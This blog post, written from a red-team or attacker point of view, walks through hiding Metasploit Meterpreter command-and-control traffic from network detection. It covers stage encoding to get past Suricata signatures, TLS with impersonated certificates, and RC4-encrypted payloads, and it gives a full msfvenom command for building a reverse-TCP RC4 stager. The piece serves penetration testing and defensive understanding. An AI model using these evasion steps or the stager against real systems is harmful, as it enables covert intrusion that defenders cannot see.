I wanted to put emphasis on Metasploit since is widely used and known by penetration testers, Red Teamers, but also used by many threat actors, including FIN groups. Sometimes I have the feeling that people can underestimate the use of this framework but please, just don’t.
Following the topic about how responders can analyze, extract and determine findings of an intrusion was written in the previous blog post https://medium.com/p/c0d0a3bb5449/edit
This time we will assume the role of Red Team operator or threat actor and we will go through the intrusion process which usually includes antiforensics, related to TA0005 and TA0011 tactics(Defense Evasion and Command&Control).
The example seen in the mentioned previous post contained a PowerShell script to spawn a reverse shell connection. After this activity examining the traffic we were able to identify all the executed commands during the session.
In the image above we can easily spot the sent and received commands in clear text, revealing the intrusion activity that could be logged by a possible IDS, TAP/Port Mirroring device connected to a SIEM in the network.
In the next example we will analyze from both perspectives what happens when an agent such as Meterpreter is used.
These are the options used for this first test:
Now the question is whether are these commands visible or not, and what elements can be spotted from the C2 activity. Let’s now check the traffic once the initial stage has been launched.
After the TCP handshake we observe successful communications going on. In the TCP stream we can see an HTTP GET request to download a file containing very interesting data.
We can observe a possible abnormal path for a resource that contains the MZ header followed by the DOS stub. If we keep looking at the data in the HTTP response there is a string(not visible in the above image) that may confirm what is going on: a reference to metsrv.dll in the binary, which is indicating that this activity is file download of Metasploit’s Meterpreter.
However, if we keep observing the traffic we notice that even if the activity is continuous, no valuable data was observed.
Why is this happening if this is an HTTP stager? If this is HTTP, the data should be also visible as it was in the first image, right? Once Meterpreter is downloaded, is loaded into memory using Reflective Injection(T1055) and after execution metsrv performs SSL negotation on the socket, which means the traffic is encrypted by default even if the attacker is using a reverse_tcp payload.
In the attacker’s console, Meterpreter was working properly as seen below
In most cases if an IDS is running this activity would have been detected quickly, which means that as attackers we would raise alarms and also we might lose presence in two hosts.
However, without using additional modules, there’s an option to hide the fact that we are downloading a binary file that contains Meterpreter using the following options on our multi/handler module, named stageencoder and enablestageencoding that we will use in the next test as follows.
After delivering the first stage, let’s check the network traffic capture and observe what changed during the transfer of Meterpreter dll.
Same corresponding stage is now encoded with data that is useless for the defenders to identify what is being downloaded from the IP address 10.16.4.192, in other words this means that in this case, the attacker would be able to bypass suricata signatures designed to hit on Meterpreter, making our channel safer and reducing the chance of being detected via network hit.
Of course, Metasploit offers different modules that are safer than TCP reverse_shell or Meterpreter reverse_tcp, but these modules are quite convenient due the produced size of the shellcode and the used API calls for the use of the sockets for communications(TCP) instead of relying on HTTP traffic.
One of the options that are commonly used to evade network detection is TLS and we have also a payload for that in Metasploit. The module reverse_https uses a self-signed certificate created by Metasploit or a custom certificate to establish TLS communications. Note: The data is encrypted but remember that is never verified.
Inspected traffic shows that it starts right away after the SSL handshake. In this scenario however we are leaving the trace of a crafted or default certificate that can be also investigated, and that can lead to the infrastructure or get hit by IDS/IPS signatures.
To use different certificates, as attackers we can buy one or use a self-signed certificate but Metasploit contains a useful auxiliary module named impersonate_ssl where we can provide different settings to create a fake certificate:
An additional option to avoid possible risk of using SSL certificates and the impersonation is the use of a different C2 channel that is commonly used by malware authors to evade detection: the use of RC4 to encrypt the traffic.
Metasploit RC4 modules contains different options(bind, reverse_tcp etc.) that includes the use of this algorithm to encrypt the traffic. These modules includes support for Meterpreter on x86 and x64, shell(cmd) etc.
In this example we are going to use the Meterpreter reverse tcp payload to test our evasion capabilities. To create the first stager, msfvenom requires the following options:
msfvenom -p windows/meterpreter/reverse_tcp_rc4 rc4password=<password> LHOST=<IP address> LPORT=<port> -f <desired format> -o rc4test
On the attacker machine, the following options are required to set up the handler properly:
As we can see, the options are the usual and the only extra option needed is the password, which can be set using the command “set RC4PASSWORD yourpassword”.
Be sure that the passwords are correctly set in the stager and handler or the communication will fail and also consume resources on the victim host, what could raise alarms.
After executing our initial stager, Meterpreter is downloaded and executed successfully, allowing us to run commands. However, how the traffic looks like? Are we hiding the activity properly?
Inspecting this traffic is highly disappointing from a defenders perspective since this is just TCP traffic, random bytes and there’s nothing here that can be useful from a forensic perspective.
If as attackers we make the first stager undetectable from a network perspective(initial download), like for example serving it in a webserver with HTTPS, 3rd party websites, CDNs etc. there’s a high chance of getting our communications calling home if the payload is tested against the targeted AV or if the host doesn’t use one. Multiple options are available to perform evasion using just Metasploit without fancy modifications.
From a defenders perspective is this the end? Of course not. Firewalls, Proxys and other devices are capable of performing deep packet inspection, allowing the Blue Team to identify threats even if the traffic is encrypted(TLS only, for RC4 traffic, deep packet inspection wouldn’t work).
Knowing what is in your network(devices, applications etc.) also will help to identify unusual traffic in the environment while reviewing network captures and logs.
